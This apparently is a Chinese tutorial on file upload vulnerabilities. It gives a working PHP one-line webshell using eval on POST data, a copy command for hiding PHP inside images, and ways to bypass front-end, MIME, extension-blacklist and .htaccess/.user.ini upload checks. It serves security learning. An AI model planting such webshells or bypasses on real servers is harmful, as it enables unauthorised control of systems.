文件上传漏洞的产生

服务器由php等语言搭建,那么对于一些需要上传到服务器的数据我们是否可以用php语句组成,他们又能否被执行。显然答案是肯定的。我们上传的php语句可以被执行,这也就是文件上传漏洞。

木马和webshell

在进行文件上传漏洞利用时,我们首先得知道我们要上传的是什么,木马和webshell是什么。不然你好不容易上传了一个文件却发现没有用。

webshell

(也就是木马)

1
2
3
4
5
   webshell是恶意的脚本,可以获得服务器的执行操作权限,常见语言asp,
jsp,php(服务器端使用的语言,上传时过滤不严格会被当成代码解析),
原理及优缺点:电脑上有许多端口,webshell可以通过其中一个端口与外
界进行交换信息,因为该端口不在其原先交换信息的端口中,所以其具有隐
秘性,可以穿越防火墙,并且不容易被发现,但是会在web日志中留下痕迹。

2.木马:
这里我们介绍一句话木马,图片马和大马。

一句话木马:

1
2
3
4
5
6
一句话木马(php):
一句话木马功能通常比较单一,但是其危害性也很大,如:
<?php @eval($_POST['attack']) ?>
这里eval是将字符串解析为php语句,$_POST是传参。
@:这个比较重要,加上@后,当你语句出现错误,它不会报错,就不容易被发现
这就话看起来没有危险,但是你传入的语句就不一定了,比如获取服务器信息等。

下面这是一个正常的登录页面
请添加图片描述
我们在其php源码中加入@eval($_POST[‘attack’]);
接着我们通过burpsuit传入一个attack。
attack=phpinfo();
请添加图片描述
这个时候我们就可以得到其php信息了。
请添加图片描述

图片马:

对于一些上传的地方不能直接上传php文件,我们可以将php语句隐藏到图片中,从而达到上传的目的。
一般对于网站,图片是不会直接被解析的,因此图片马一般还伴随着文件包含漏洞,web容器解析漏洞等其他漏洞一起才能被利用。

1
2
3
4
5
6
7
图片马的制作:
1.利用notepad++直接打开图片,在结尾加上木马代码。
2.利用cmd,
/a:为通过二进制形式打开。
/b:为通过ASCII形式打开。
copy xxx.jpg/b+yyy.php/a 新文件.jpg (注:文件后缀可以更改)
还有Weinhex,photoshop等。

先准备好一个图片(12.jpg)一个php文件(2.php),然后要在他们的同一目录中打开命令提示符。输入copy 12.jpg/b+2.php/a demo.jpg 从而得到demo.jpg,这个文件就是一个图片马
请添加图片描述

大马

对于一个网站,我们需要进行许多操作,如修改权限,增加用户等功能,显然一句话木马是无法满足的,这个时候我们将php语句系统的编写一个木马,这就是大马。(初学者可以在github上下载)

webshell的管理工具(蚁剑)

对于我们上传的webshell,我们需要对其进行操作,为了能够更方便的使用,我们可以使用蚁剑来连接我们的webshell进行操作

文件上传漏洞的一些简单绕过

前端的绕过

前端的绕过是最简单的,常见验证在js中。
1.我们可以通过修改html源码来进行绕过
对于下面这个文件上传的验证,很容易看出来其通过函数调用的方式验证,这里我们可以将return checkfile()改为return ture,然后就可以上传了
请添加图片描述
2.我们可以通过burpsuite修改绕过
同样对于上面这个,我们可以先将我们的php文件改为合法的。
如2.php先改为2.jpg,将2.jpg上传,然后通过burpsuite抓取数据包,再将数据改后来,就达到了绕过前端的目的了
请添加图片描述

后端的绕过

1.mime验证的绕过

1
2
3
4
5
6
通过扩展名来验证,数据的大类别/具体种类
常见的有
text/html,text/css。前面的text表示大的类别,为文本形式,后面的html,css表示具体的内容。
图片的有image/gif,image/png
关于mime具体的可以查看:
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Basics_of_HTTP/MIME_types

我们绕过要做的就是将其类别修改为合法,一般mime的判断是通过content-type来验证,如:
请添加图片描述

2 黑名单验证的绕过
一些安全等级比较低的网站会采用这种验证方式,原理就是通过列出不允许出现的名字作为黑名单,当上传和黑名单中的名字一样时就会被禁止。

1
2
3
4
5
这里创建一个数组,将不能上传的列出来作为黑名单:
$deny_ext = array('.asp','.aspx','.php','.jsp');
这样的可以通过修改后缀名来尝试绕过,对于一些环境,不仅可以支持php也
可以支持php5.我们可以尝试将php改为php5等去绕过。
大家可以去收集一下关于后缀名的知识

服务器配置问题导致绕过

.htaccess漏洞
.htaccess文件是一个配置文件,里面可以修改文件的权限,可以启用脚本,禁用脚本,限定文件类型等。

1
2
3
4
5
6
对于这种:
我们首先可以上传一个.htaccess文件,
在里面写入我们需要修改的规则,
然后再上传我们的木马即可
关于.htaccess具体可以查看:
https://www.cnblogs.com/engeng/articles/5948089.html

与.htaccess相类似的还有一个**.user.ini**
关于.user.ini:

1
https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html